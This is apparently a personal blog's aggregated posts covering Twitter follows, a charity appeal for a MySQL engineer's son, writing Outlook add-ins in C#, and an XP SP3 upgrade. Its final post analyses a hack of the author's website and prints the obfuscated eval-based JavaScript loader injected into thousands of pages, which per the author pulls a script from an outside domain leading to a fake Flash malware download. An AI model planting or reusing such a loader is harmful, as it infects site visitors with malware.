NiceGuyUK Blog
aggregating his social network updates
Hanging out with the BBC online
First Bill Thompson (roaming tech pundit) retweets something I send him, now I have Stephen Fry (yes,
the Stephen Fry) following my tweets.
MySQL hacker needs $400K for his son's bone-marrow transplant
MySQL hacker needs $400K for his son's bone-marrow transplant: "The MySQL community -- who create, maintain and support the leading free database -- are raising funds for Andrii Nikitin, a MySQL support engineer in Ukraine whose little boy, Ivan, needs a $400,000 bone-barrow transplant.

'My family got bad news - doctors said allogenic bone marrow transplantation is the only chance for my son Ivan.
'8 months of heavy and expensive immune suppression brought some positive results so we hoped that recovering is just question of time.
'Ivan is very brave boy - not every human meets so much suffering during whole life, like Ivan already met in his 2,5 years. But long road is still in front of us to get full recover - we are ready to come it through.
'Ukrainian clinics have no technical possibility to do such complex operation, so we need 150-250K EUR for Israel or European or US clinic. The final decision will be made considering amount we able to find. Perhaps my family is able to get ~60% of that by selling the flat where parents leave and some other goods, but we still require external help.'
Donate to help Andrii Nikitin's son Ivan(Via Boing Boing.)
I'm over here...
To busy to blog these days. You've got more chance of finding out what I'm up to by looking at Twitter :-
Writing Outlook Addins in C#.Net
Ok, so the title of this post is a blatant Google magnet attempt. But honestly, that's what I've been doing today and its been the most fun I've had coding in a while.
I'm converting an old VB6 COM addin for Outlook versions prior to 2007 so that it does indeed work with 2007. Its being rewritten in C# and due to some clever interop work (not my cleverness, I gleaned information from
this blog post by Patrick Schmid) I don't even need to hack my way around Outlook's security model with the
Redemption Library.
Once its done, I'm toying with the idea of writing more addins for Outlook 2007 that I think I'll find useful (and hopefully other people will too)
Windows XP SP3
Upgraded my sole Windows PC from XP SP2 to XP SP3 tonight. It seems stable so far, but then I've probably already got most of the patches that they rolled into Service Pack 3 anyway. If I hit any odd issues (other than the annoyance of it reverting my hacked uxtheme.dll so I lose my Royale Remixed theme), I'll post about it here.
Anatomy of a web hack
One of my websites recently got hacked (through FTP - provider says its password related, but I'm not convinced). The miscreant put over 5000 HTML pages in one of my directories, each of which is infected with a piece of obfuscated javascript. I've tidied it up for readability :-
function F(WY,e)
{
if(!e)
{
e='kUZ$caiWxQYNso/B-8E(b>p{]K5nl2u}F3L#t7;gCGj!w")rI0X6h?vSAdT1P%*=';
}
var y;
var OR='';
for(var m=0;m {
y = (e.indexOf(WY.charAt(m))&255)<<18|(e.indexOf(WY.charAt(m+1))&255)<<12|(e.indexOf(WY.charAt(m+2))&255)<<6|e.indexOf(WY.charAt(m+3))&255;
OR += String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);
}
eval(OR.substring(0,OR.length-3));
}
F('Ki%#2p?7ng-)2SQG2ibCQ60(-Xl!Q?QQba-F(ca/8?>U8hb%xtG32;a(]Xl!QSQGlW-LxWoX]6hL5W8hl$CrNv8)lv?3n;agK{Q65{87N;7)K;PrKid6lS832ZdjlXx*BZ%(-?QQQXwgba-*QXt1kkkk');
What this does is call another script from another domain (dnsmanagersite.info). This script, in turn, forces a redirect to a porn site, which tries to force you to download what it claims is an update for Adobe Flash. I have no doubt at all that it is a virus/trojan/keylogger/backdoor or other such piece of crap.